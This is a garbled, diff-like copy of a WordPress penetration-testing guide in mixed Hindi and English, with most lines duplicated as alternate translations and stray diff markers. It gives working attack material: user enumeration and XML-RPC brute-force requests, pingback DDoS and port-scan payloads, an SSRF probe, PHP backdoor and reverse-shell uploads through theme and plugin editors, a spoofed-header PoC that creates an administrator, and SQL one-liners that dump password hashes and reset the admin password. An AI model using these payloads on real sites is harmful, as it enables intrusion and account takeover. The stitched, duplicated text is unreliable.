curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
```
## Active enumeration
## सक्रिय अनुक्रमण
### Plugins and Themes
### Plugins और Themes
शायद आप सभी Plugins और Themes को खोज पाना संभव नहीं होगा। इन्हें खोजने के लिए, आपको **actively Brute Force a list of Plugins and Themes** करना होगा (आशा है कि हमारे लिए ऐसे स्वचालित टूल मौजूद हैं जिनमें ये सूचियाँ होती हैं)।
आप संभवतः सभी Plugins और Themes खोज पाने में सक्षम नहीं होंगे। उन्हें खोजने के लिए, आपको **actively Brute Force a list of Plugins and Themes** करने की आवश्यकता होगी (खुशकिस्मती से हमारे लिए ऐसे स्वचालित टूल्स मौजूद हैं जिनमें ये सूचियाँ होती हैं)।
### उपयोगकर्ता
### Users
- **ID Brute:** आप WordPress साइट से वैध उपयोगकर्ता Brute Forcing users IDs करके प्राप्त करते हैं:
- **ID Brute:** Brute Forcing द्वारा users IDs निकाल कर आप किसी WordPress साइट के वैध users प्राप्त कर सकते हैं:
```bash
curl -s -I -X GET http://blog.example.com/?author=1
```
यदि response कोड **200** या **30X** हैं, तो इसका मतलब है कि id **मान्य** है। यदि response कोड **400** है, तो id **अमान्य** है।
यदि प्रतिक्रियाएँ **200** या **30X** हैं, तो इसका मतलब है कि id **मान्य** है। यदि प्रतिक्रिया **400** है, तो id **अमान्य** है।
- **wp-json:** आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए क्वेरी कर सकते हैं:
- **wp-json:** आप उपयोगकर्ताओं के बारे में जानकारी प्राप्त करने के लिए क्वेरी करके भी कोशिश कर सकते हैं:
```bash
curl http://blog.example.com/wp-json/wp/v2/users
```
एक और `/wp-json/` endpoint जो उपयोगकर्ताओं के बारे में कुछ जानकारी उजागर कर सकता है:
एक और `/wp-json/` endpoint जो उपयोगकर्ताओं के बारे में कुछ जानकारी प्रकट कर सकता है:
```bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
```
ध्यान दें कि यह एंडपॉइंट केवल उन उपयोगकर्ताओं को प्रदर्शित करता है जिन्होंने पोस्ट की है। **सिर्फ उन उपयोगकर्ताओं की जानकारी प्रदान की जाएगी जिनके लिए यह फीचर सक्षम है।**
Note that this endpoint only exposes users that have made a post. **केवल उन users की जानकारी प्रदान की जाएगी जिनके लिए यह feature सक्षम है।**
साथ ही ध्यान दें कि **/wp-json/wp/v2/pages** IP addresses को leak कर सकता है।
Also note that **/wp-json/wp/v2/pages** could leak IP addresses.
- **Login username enumeration**: जब **`/wp-login.php`** पर लॉगिन करते समय **संदेश** इस बात के अनुसार **अलग** होता है कि **उपयोगकर्ता नाम मौजूद है या नहीं**।
- **Login username enumeration**: जब **`/wp-login.php`** पर लॉगिन करते समय **message** **different** होता है — यह इस बात का संकेत देता है कि **username exists or not**।
### XML-RPC
यदि `xml-rpc.php` सक्रिय है, तो आप credentials brute-force कर सकते हैं या इसका उपयोग अन्य संसाधनों पर DoS attacks लॉन्च करने के लिए कर सकते हैं। (उदाहरण के लिए आप इस प्रक्रिया को स्वचालित कर सकते हैं [using this](https://github.com/relarizky/wpxploit))।
यदि `xml-rpc.php` सक्रिय है तो आप credentials brute-force कर सकते हैं या इसका उपयोग अन्य resources पर DoS attacks लॉन्च करने के लिए कर सकते हैं। (आप इस प्रक्रिया को उदाहरण के लिए [using this](https://github.com/relarizky/wpxploit) से automate कर सकते हैं)।
To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**जाँच करें**
**जांचें**
```html
<methodCall>
<methodName>system.listMethods</methodName>
@ -122,7 +122,7 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
**Credentials Bruteforce**
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** कुछ ऐसे मेथड हैं जिनका उपयोग brute-force credentials के लिए किया जा सकता है। यदि आप इनमें से कोई भी पा लेते हैं तो आप कुछ इस तरह भेज सकते हैं:
**`wp.getUserBlogs`**, **`wp.getCategories`** या **`metaWeblog.getUsersBlogs`** ऐसे कुछ methods हैं जिनका उपयोग credentials को brute-force करने के लिए किया जा सकता है। यदि आप इनमें से कोई भी पा लेते हैं तो आप कुछ इस तरह भेज सकते हैं:
```html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
@ -132,13 +132,13 @@ To see if it is active try to access to _**/xmlrpc.php**_ and send this request:
</params>
</methodCall>
```
यदि क्रेडेंशियल्स वैध नहीं हैं तो 200 कोड रिस्पॉन्स के अंदर संदेश _"Incorrect username or password"_ दिखाई देना चाहिए।
संदेश _"Incorrect username or password"_ एक 200 code response के अंदर तब दिखाई देना चाहिए जब credentials वैध नहीं हैं
![](<../../images/image (107) (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
![](<../../images/image (721).png>)
सही क्रेडेंशियल्स का उपयोग करके आप एक फ़ाइल अपलोड कर सकते हैं। प्रतिक्रिया में पथ दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
सही credentials का उपयोग करके आप एक file अपलोड कर सकते हैं। response में path दिखाई देगा ([https://gist.github.com/georgestephanis/5681982](https://gist.github.com/georgestephanis/5681982))
```html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
@ -172,14 +172,14 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
**Bypass 2FA**
**2FA बायपास**
यह तरीका programs के लिए बनाया गया है और humans के लिए नहीं, और पुराना है, इसलिए यह 2FA को सपोर्ट नहीं करता। तो, अगर आपके पास वैध creds हैं पर मुख्य प्रवेश 2FA से सुरक्षित है, **तो आप xmlrpc.php का दुरुपयोग करके उन creds के साथ 2FA बाइपास करते हुए login करने में सक्षम हो सकते हैं**। ध्यान दें कि आप console के माध्यम से जो सभी actions कर सकते हैं वे सभी करने में सक्षम नहीं होंगे, लेकिन आप फिर भी RCE तक पहुँच सकते हैं जैसा Ippsec इसे [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाते हैं।
यह तरीका प्रोग्राम्स के लिए है न कि इंसानों के लिए, और पुराना होने के कारण यह 2FA को सपोर्ट नहीं करता। इसलिए, अगर आपके पास वैध क्रेडेंशियल्स हैं पर मुख्य लॉगिन 2FA से सुरक्षित है, **आप xmlrpc.php का दुरुपयोग करके उन क्रेडेंशियल्स से 2FA बायपास करते हुए लॉगिन कर सकते हैं**। ध्यान रखें कि आप कंसोल के माध्यम से जो सभी क्रियाएँ कर सकते हैं वे यहाँ संभव नहीं होंगी, पर आप फिर भी RCE तक पहुँच सकते हैं जैसा Ippsec ने [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s) में समझाया है
**DDoS or port scanning**
अगर आप list के अंदर _**pingback.ping**_ method पा लेते हैं तो आप Wordpress को किसी भी host/port पर arbitrary request भेजवा सकते हैं।\
इसे इस्तेमाल करके आप **हज़ारों** Wordpress **sites** को किसी एक **location** को **access** करने के लिए कह सकते हैं (जिससे उस location पर **DDoS** हो सकता है) या आप इसे **Wordpress** को किसी internal **network** को **scan** कराने के लिए भी इस्तेमाल कर सकते हैं (आप किसी भी पोर्ट का संकेत दे सकते हैं)।
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
This can be used to ask **हज़ारों** of Wordpress **साइट्स** to **एक तकाँच** (one **location**) को **एक्सेस** करने को कहें (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** को **स्कैन** करने के लिए किसी आंतरिक **नेटवर्क** को निर्देशित कर सकते हैं (आप कोई भी पोर्ट निर्दिष्ट कर सकते हैं)।
```html
<methodCall>
<methodName>pingback.ping</methodName>
@ -191,9 +191,9 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
```
![](../../images/1_JaUYIZF8ZjDGGB7ocsZC-g.png)
यदि आपको **faultCode** का मान **0** से बड़ा (17) मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
यदि आपको **faultCode** का मान **0** (17) से **बड़ा** मिलता है, तो इसका मतलब है कि पोर्ट खुला है।
पिछले सेक्शन में **`system.multicall`** के उपयोग को देखिए ताकि यह सीखा जा सके कि इस विधि का दुरुपयोग करके DDoS कैसे किया जा सकता है।
पिछले अनुभाग में **`system.multicall`** के उपयोग को देखें ताकि यह सीख सकें कि इस विधि का दुरुपयोग करके कैसे DDoS किया जा सकता है।
**DDoS**
```html
@ -209,15 +209,15 @@ Also there is a **faster way** to brute-force credentials using **`system.multic
### wp-cron.php DoS
This file usually exists under the root of the Wordpress site: **`/wp-cron.php`**\
जब इस फ़ाइल को **accessed** किया जाता है तो एक "**heavy**" MySQL **query** perform की जाती है, इसलिए इसे **attackers** द्वारा **cause** करने के लिए इस्तेमाल किया जा सकता है **DoS** के लिये।\
डिफ़ॉल्ट रूप से, `wp-cron.php` हर पेज लोड पर कॉल किया जाता है (जब भी कोई क्लाइंट कोई भी Wordpress पेज रिक्वेस्ट करता है), जो हाई-ट्रैफ़िक साइट्स पर समस्याएँ (DoS) पैदा कर सकता है।
यह फ़ाइल आमतौर पर Wordpress साइट की रूट में मौजूद होती है: **`/wp-cron.php`**\
जब इस फ़ाइल को **accessed** किया जाता है तो एक "**heavy**" MySQL **query** किया जाता है, इसलिए इसे **attackers** द्वारा **cause** करने के लिए उपयोग किया जा सकता है **DoS**.\
इसके अलावा, डिफ़ॉल्ट रूप से, `wp-cron.php` को हर पेज लोड पर कॉल किया जाता है (जब भी कोई client किसी भी Wordpress पेज को requests करता है), जो high-traffic साइट्स पर समस्याएँ (DoS) पैदा कर सकता है।
सुझाव है कि Wp-Cron को निष्क्रिय करें और host के अंदर एक वास्तविक cronjob बनाए जो आवश्यक क्रियाएँ नियमित अंतराल पर करे (बिना समस्याएँ उत्पन्न किए)।
सुझाव दिया जाता है कि Wp-Cron को disable कर दिया जाए और host के अंदर एक वास्तविक cronjob बनाया जाए जो आवश्यक क्रियाएँ नियमित अंतराल पर करे (बिना समस्याएँ पैदा किए).
### /wp-json/oembed/1.0/proxy - SSRF
कोशिश करें कि _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ को access करने की और Wordpress साइट संभवतः आप पर एक रिक्वेस्ट कर सकती है।
इस URL को access करने की कोशिश करें: _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ और Worpress साइट आपके पास request कर सकती है।
This is the response when it doesn't work:
@ -230,130 +230,158 @@ This is the response when it doesn't work:
https://github.com/t0gu/quickpress/blob/master/core/requests.go
{{#endref}}
यह टूल जाँचता है कि **methodName: pingback.ping** और path **/wp-json/oembed/1.0/proxy** मौजूद है या नहीं, और यदि मौजूद है तो यह इन्हें exploit करने की कोशिश करता है।
यह tool जाँचता है कि **methodName: pingback.ping** और path **/wp-json/oembed/1.0/proxy** मौजूद है और यदि मौजूद हो तो यह उन्हें exploit करने की कोशिश करता है।
## स्वचालित टूल्स
## ऑटोमैटेड टूल्स
```bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
```
## एक बिट को ओवरराइट करके एक्सेस प्राप्त करें
## एक bit ओवरराइट करके पहुँच प्राप्त करें
असल हमले की तुलना में यह एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी wordpress फ़ाइल का 1 बिट flip कर सकते थे। इसलिए आप फ़ाइल `/var/www/html/wp-includes/user.php` के पोजिशन `5389` के बिट को flip करके NOT (`!`) ऑपरेशन को NOP कर सकते थे।
यह असल हमले से ज्यादा एक जिज्ञासा है। CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) में आप किसी भी wordpress फ़ाइल का 1 bit पलट सकते थे। तो आप फाइल `/var/www/html/wp-includes/user.php` की स्थिति `5389` का bit पलटकर NOT (`!`) ऑपरेशन को NOP कर सकते थे।
```php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
```
## **पैनल RCE**
**थीम में उपयोग किए गए php को संशोधित करना (admin credentials आवश्यक)**
**थीम में इस्तेमाल किए गए php में संशोधन (admin credentials needed)**
Appearance → Theme Editor → 404 Template (दाईं तरफ़)
Appearance → Theme Editor → 404 Template (दाएँ तरफ)
php शेल के लिए कंटेंट बदलें:
php shell के लिए सामग्री बदलें:
![](<../../images/image (384).png>)
इंटरनेट पर खोजें कि आप उस अपडेट की गई पेज तक कैसे पहुँच सकते हैं। इस मामले में आपको यहा एक्सेस करना होगा: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
इंटरनेट पर खोजें कि आप उस अपडेट किए गए पेज तक कैसे पहुँच सकते हैं। इस मामले में आपको यहा एक्सेस करना होगा: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
### MSF
आप इस्तेमाल कर सकते हैं:
आप उपयोग कर सकते हैं:
```bash
use exploit/unix/webapp/wp_admin_shell_upload
```
to get a session.
सेशन प्राप्त करने के लिए।
## Plugin RCE
### PHP plugin
यह संभव हो सकता है कि .php फाइलों को एक plugin के रूप में अपलोड किया जा सके।\
अपने php backdoor को उदाहरण के लिए बनाएं:
It may be possible to upload .php files as a plugin.\
.php फाइलों को plugin के रूप में अपलोड करना संभव हो सकता है।\
Create your php backdoor using for example:
उदाहरण के लिए अपना php backdoor बनाएं:
![](<../../images/image (183).png>)
Then add a new plugin:
फिर एक नया plugin जोड़ें:
![](<../../images/image (722).png>)
Upload plugin and press Install Now:
Plugin अपलोड करें और Install Now दबाएँ:
![](<../../images/image (249).png>)
Click on Procced:
Procced पर क्लिक करें:
![](<../../images/image (70).png>)
शायद यह स्पष्ट रूप से कुछ नहीं करेगा, लेकिन अगर आप Media पर जाएं, तो आप अपना shell अपलोड हुआ देखेंगे:
Probably this won't do anything apparently, but if you go to Media, you will see your shell uploaded:
संभवतः इससे कुछ भी दिखाई नहीं देगा, लेकिन अगर आप Media में जाएँगे, तो आपको आपका shell अपलोड दिखाई देगा:
![](<../../images/image (462).png>)
इसे एक्सेस करें और आप reverse shell को execute करने के लिए URL देखेंगे:
Access it and you will see the URL to execute the reverse shell:
इसे एक्सेस करें और आपको reverse shell निष्पादित करने के लिए URL दिखाई देगा:
![](<../../images/image (1006).png>)
### Uploading and activating malicious plugin
### Malicious plugin को अपलोड और सक्रिय करना
यह तरीका एक vulnerable के रूप में जाना जाने वाले malicious plugin की installation में शामिल है और इसे exploit करके web shell प्राप्त किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से निम्नानुसार की जाती है:
This method involves the installation of a malicious plugin known to be vulnerable and can be exploited to obtain a web shell. This process is carried out through the WordPress dashboard as follows:
यह विधि एक ऐसी malicious plugin की installation को शामिल करती है जो ज्ञात रूप से vulnerable है और जिसका प्रयोग web shell प्राप्त करने के लिए exploit किया जा सकता है। यह प्रक्रिया WordPress dashboard के माध्यम से निम्न प्रकार की जाती है:
1. **Plugin Acquisition**: Plugin को Exploit DB जैसे स्रोत से प्राप्त किया जाता है, जैसे [**here**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: The plugin is obtained from a source like Exploit DB like [**here**](https://www.exploit-db.com/exploits/36374).
1. **Plugin Acquisition**: plugin को Exploit DB जैसे स्रोत से प्राप्त किया जाता है, जैसे [**here**](https://www.exploit-db.com/exploits/36374).
2. **Plugin Installation**:
- WordPress dashboard पर जाएं, फिर `Dashboard > Plugins > Upload Plugin` पर जाएं।
- डाउनलोड की गई plugin की zip फ़ाइल अपलोड करें।
3. **Plugin Activation**: एक बार plugin सफलतापूर्वक इंस्टॉल हो जाने के बाद, इसे dashboard के माध्यम से activate करना होगा।
- Navigate to the WordPress dashboard, then go to `Dashboard > Plugins > Upload Plugin`.
- Upload the zip file of the downloaded plugin.
2. **Plugin Installation**:
- WordPress dashboard पर जाएँ, फिर `Dashboard > Plugins > Upload Plugin` पर जाएँ।
- डाउनलोड किए गए plugin का zip फ़ाइल अपलोड करें।
3. **Plugin Activation**: Once the plugin is successfully installed, it must be activated through the dashboard.
3. **Plugin Activation**: एक बार plugin सफलतापूर्वक install हो जाने पर, इसे dashboard के माध्यम से activate करना होगा।
4. **Exploitation**:
- जब plugin "reflex-gallery" इंस्टॉल और activated हो, तो इसे exploit किया जा सकता है क्योंकि यह vulnerable के रूप में जाना जाता है।
- Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त module लोड करके और specific commands execute करके, एक meterpreter session स्थापित किया जा सकता है, जो site तक unauthorized access देता है।
- ध्यान दें कि यह WordPress साइट को exploit करने के कई तरीकों में से सिर्फ एक है।
- With the plugin "reflex-gallery" installed and activated, it can be exploited as it is known to be vulnerable.
- The Metasploit framework provides an exploit for this vulnerability. By loading the appropriate module and executing specific commands, a meterpreter session can be established, granting unauthorized access to the site.
- It's noted that this is just one of the many methods to exploit a WordPress site.
4. **Exploitation**:
- "reflex-gallery" plugin install और activate होने पर exploit किया जा सकता है क्योंकि यह ज्ञात रूप से vulnerable है।
- Metasploit framework इस vulnerability के लिए एक exploit प्रदान करता है। उपयुक्त module लोड करके और specific commands execute करके, एक meterpreter session स्थापित किया जा सकता है, जो साइट तक unauthorized access प्रदान करता है।
- ध्यान दें कि यह WordPress साइट को exploit करने के कई तरीकों में से केवल एक है।
यह सामग्री WordPress dashboard में plugin इंस्टॉल और activate करने के चरणों का दृश्य प्रदर्शन करती है। हालाँकि, यह महत्वपूर्ण है कि बिना उचित अनुमति के इस तरह kwetsbaarताएँ exploit करना गैरकानूनी और अनैतिक है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे explicit permission के साथ penetration testing।
The content includes visual aids depicting the steps in the WordPress dashboard for installing and activating the plugin. However, it's important to note that exploiting vulnerabilities in this manner is illegal and unethical without proper authorization. This information should be used responsibly and only in a legal context, such as penetration testing with explicit permission.
इस सामग्री में plugin को install और activate करने के WordPress dashboard के चरणों को दर्शाने वाले दृश्य साधन शामिल हैं। हालांकि, यह ध्यान रखना महत्वपूर्ण है कि बिना उचित authorization के vulnerabilities को इस तरह exploit करना illegal और unethical है। इस जानकारी का उपयोग जिम्मेदारी से और केवल कानूनी संदर्भ में किया जाना चाहिए, जैसे penetration testing के दौरान स्पष्ट अनुमति के साथ।
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
## From XSS to RCE
## XSS से RCE
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक script है जिसे WordPress में Cross-Site Scripting (XSS) vulnerability को Remote Code Execution (RCE) या अन्य critical vulnerabilities में escalate करने के लिए डिज़ाइन किया गया है। अधिक जानकारी के लिए [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html) देखें। यह **Wordpress Versions 6.X.X, 5.X.X और 4.X.X** का समर्थन प्रदान करता है और निम्न करने की अनुमति देता है:
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ is a script designed to escalate a **Cross-Site Scripting (XSS)** vulnerability to **Remote Code Execution (RCE)** or other's criticals vulnerabilities in WordPress. For more info check [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). It provides **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ एक ऐसा script है जो Cross-Site Scripting (XSS) vulnerability को Remote Code Execution (RCE) या अन्य critical vulnerabilities में escalate करने के लिए design किया गया है WordPress में। अधिक जानकारी के लिए देखें [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). यह Wordpress Versions 6.X.X, 5.X.X और 4.X.X के लिए support प्रदान करता है और निम्न की अनुमति देता है:
- _**Privilege Escalation:**_ Creates an user in WordPress.
- _**Privilege Escalation:**_ WordPress में एक user बनाता है।
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Upload your custom plugin (backdoor) to WordPress.
- _**(RCE) Custom Plugin (backdoor) Upload:**_ अपना custom plugin (backdoor) WordPress पर upload करें।
- _**(RCE) Built-In Plugin Edit:**_ Edit a Built-In Plugins in WordPress.
- _**(RCE) Built-In Plugin Edit:**_ WordPress में Built-In Plugins को edit करें।
- _**(RCE) Built-In Theme Edit:**_ Edit a Built-In Themes in WordPress.
- _**(RCE) Built-In Theme Edit:**_ WordPress में Built-In Themes को edit करें।
- _**(Custom) Custom Exploits:**_ Custom Exploits for Third-Party WordPress Plugins/Themes.
- _**(Custom) Custom Exploits:**_ Third-Party WordPress Plugins/Themes के लिए Custom Exploits।
## Post Exploitation
## Post Exploitation
Extract usernames and passwords:
यूज़रनेम और पासवर्ड निकालें:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
```
एडमिन का पासवर्ड बदलें:
admin password बदलें:
```bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
```
## Wordpress प्लगइन्स Pentest
### Attack Surface
### हमला सतह
यह जानना कि कोई Wordpress plugin किस तरह कार्यक्षमता को expose कर सकता है, उसकी functionality में कमजोरियाँ खोजने के लिए महत्वपूर्ण है। आप नीचे दिए गए बुलेट पॉइंट्स में देख सकते हैं कि एक plugin functionality को कैसे expose कर सकता है और vulnerable plugins के कुछ उदाहरण [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/) में दिए गए हैं।
किस तरह एक Wordpress plugin अपनी functionality को एक्सपोज़ कर सकता है यह जानना उसकी functionality में मौजूद vulnerabilities खोजने के लिए महत्वपूर्ण है। आप नीचे दिए गए बुलेट पॉइंट्स में देख सकते हैं कि एक plugin किस तरह functionality एक्सपोज़ कर सकता है और कुछ vulnerable plugins के उदाहरण इस [**blog post**](https://nowotarski.info/wordpress-nonce-authorization/) में दिए गए हैं।
- **`wp_ajax`**
एक तरीके जिनसे एक plugin functions को expose कर सकता है, वह AJAX handlers के माध्यम से होता है। इनमें logic, authorization, या authentication बग हो सकते हैं। इसके अलावा, अक्सर ये functions authentication और authorization दोनों को एक wordpress nonce की मौजूदगी पर आधारित करते हैं जो **any user authenticated in the Wordpress instance might have** (इसके role से स्वतंत्र)।
Plugin द्वारा functions एक्सपोज़ करने के तरीकों में से एक तरीका AJAX handlers के माध्यम से होता है। इनमें logic, authorization, या authentication बग हो सकते हैं। इसके अलावा, अक्सर ऐसा होता है कि ये functions authentication और authorization दोनों को एक wordpress nonce की मौजूदगी पर आधारित कर देते हैं जो **Wordpress instance में प्रमाणीकृत किसी भी उपयोगकर्ता के पास हो सकता है** (उसकी role की परवाह किए बिना)।
निम्नलिखित functions वे हैं जिन्हें एक plugin में एक फ़ंक्शन को expose करने के लिए इस्तेमाल किया जा सकता है:
ये वे functions हैं जिनका उपयोग plugin में किसी function को एक्सपोज़ करने के लिए किया जा सकता है:
```php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
```
**`nopriv` का उपयोग endpoint को किसी भी उपयोगकर्ता (यहाँ तक कि अप्रमाणित उपयोगकर्ताओं) के लिए सुलभ बनाता है।**
**`nopriv` का उपयोग endpoint को किसी भी उपयोगकर्ता के लिए एक्सेस योग्य बना देता है (यहाँ तक कि बिना प्रमाणीकृत उपयोगकर्ता भी)।**
> [!CAUTION]
> इसके अलावा, अगर फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन से उपयोगकर्ता के अधिकार की जाँच कर रहा है, तो यह फ़ंक्शन केवल यह जाचता है कि उपयोगकर्ता लॉग इन है; यह आम तौर पर उपयोगकर्ता की भूमिका की जाँच नहीं करता है। इसलिए कम-प्रिविलेज़ वाले उपयोगकर्ताओं को उच्च-प्रिविलेज़ वाली क्रियाओं तक पहुँच मिल सकती है।
> इसके अलावा, यदि फ़ंक्शन केवल `wp_verify_nonce` फ़ंक्शन के साथ उपयोगकर्ता के प्राधिकरण की जाँच कर रहा है, तो यह फ़ंक्शन केवल यह जाचता है कि उपयोगकर्ता लॉग इन है; यह आम तौर पर उपयोगकर्ता की role की जाँच नहीं करता। इसलिए कम-विशेषाधिकार वाले उपयोगकर्ताओं के पास उच्च-विशेषाधिकार वाली क्रियाओं तक पहुँच हो सकती है।
- **REST API**
यह भी संभव है कि `register_rest_route` फ़ंक्शन का उपयोग करके wordpress से फ़ंक्शन्स को REST API के माध्यम से एक्सपोज़ किया जाए:
यह भी संभव है कि wordpress से `register_rest_route` फ़ंक्शन का उपयोग करके REST API के ज़रिए फ़ंक्शन्स को एक्सपोज़ किया जाए:
```php
register_rest_route(
$this->namespace, '/get/', array(
@ -363,21 +391,21 @@ $this->namespace, '/get/', array(
)
);
```
The `permission_callback` एक callback फ़ंक्शन है जो जांचता है कि दिया गया उपयोगकर्ता API मेथड को कॉल करने के लिए अधिकृत है या नहीं।
The `permission_callback` एक callback फ़ंक्शन है जो जांचता है कि कोई दिया गया user API method को कॉल करने के लिए authorized है या नहीं।
**यदि बिल्ट-इन `__return_true` फ़ंक्शन का उपयोग किया गया है, तो यह यूज़र परमिशन चेक को सीधे स्किप कर देगा।**
**अगर built-in `__return_true` function का उपयोग किया गया है, तो यह user permissions चेक को बस स्किप कर देगा।**
- **php फ़ाइल तक सीधे एक्सेस**
- **php फ़ाइल तक प्रत्यक्ष पहुँच**
बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की फाइलें वेब से सीधे पहुँचने योग्य होती हैं। इसलिए, अगर कोई plugin कोई vulnerable functionality एक्सपोज़ कर रहा है जो सिर्फ फाइल को एक्सेस करने मात्र से ट्रिगर हो जाती है, तो वह किसी भी उपयोगकर्ता द्वारा exploitable होगी
बेशक, Wordpress PHP का उपयोग करता है और plugins के अंदर की फाइलें वेब से सीधे पहुँच योग्य होती हैं। इसलिए, अगर कोई plugin किसी भी vulnerable functionality को एक्सपोज़ कर रहा है जो केवल फ़ाइल तक पहुँचने मात्र से ट्रिगर हो जाती है, तो वह किसी भी user द्वारा exploit की जा सकती है
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
कुछ plugins internal integrations या reverse proxies के लिए “trusted header” shortcuts लागू करते हैं और फिर उस header का उपयोग REST requests के लिए current user context सेट करने में करते हैं। यदि वह header upstream component द्वारा request से cryptographically बाउंड नहीं है, तो एक attacker उसे spoof कर सकता है और administrator के रूप में privileged REST routes तक पहुँच सकता है।
कुछ plugins internal integrations या reverse proxies के लिए “trusted header” shortcuts लागू करते हैं और फिर REST requests के लिए current user context सेट करने के लिए उस header का उपयोग करते हैं। यदि header को किसी upstream component द्वारा cryptographically request से बाँधा नहीं गया है, तो एक attacker इसे spoof कर सकता है और privileged REST routes को administrator के रूप में हिट कर सकता है।
- प्रभाव: बिना प्रमाणीकरण के privilege escalation करके admin बनने का रास्ता — core users REST route के माध्यम से नया administrator बनाकर।
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (यह user ID 1 जबरदस्ती सेट करता है, आम तौर पर पहला administrator अकाउंट)।
- Exploited route: `POST /wp-json/wp/v2/users` एक elevated role array के साथ।
- प्रभाव: core users REST route के माध्यम से नया administrator बनाकर unauthenticated privilege escalation के जरिए admin अधिकार प्राप्त होना
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (user ID 1 को जबरदस्ती लागू करता है, आम तौर पर पहला administrator account).
- Exploited route: `POST /wp-json/wp/v2/users` with an elevated role array.
PoC
```http
@ -391,31 +419,31 @@ Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
क्यों यह काम करता है
Why it works
- प्लगइन एक क्लाइंट-नियंत्रित हेडर को प्रमाणीकरण स्थिति से मैप करता है और capability checks को स्किप कर देता है।
- WordPress core इस route के लिए `create_users` capability की अपेक्षा करता है; प्लगइन hack इसे बाइपास करता है द्वारा हेडर से सीधे current user context सेट करके।
- प्लगइन एक क्लाइंट-निहित हेडर को authentication state से मैप करता है और capability checks को बायपास कर देता है।
- WordPress core इस route के लिए `create_users` capability की उम्मीद करता है; प्लगइन hack इसे बायपास कर देता है हेडर से सीधे current user context सेट करके।
अपेक्षित सफलता संकेत
Expected success indicators
- HTTP 201 के साथ एक JSON बॉडी जो बनाए गए user का विवरण देती है।
- एक नया admin user जो `wp-admin/users.php` में दिखाई देता है
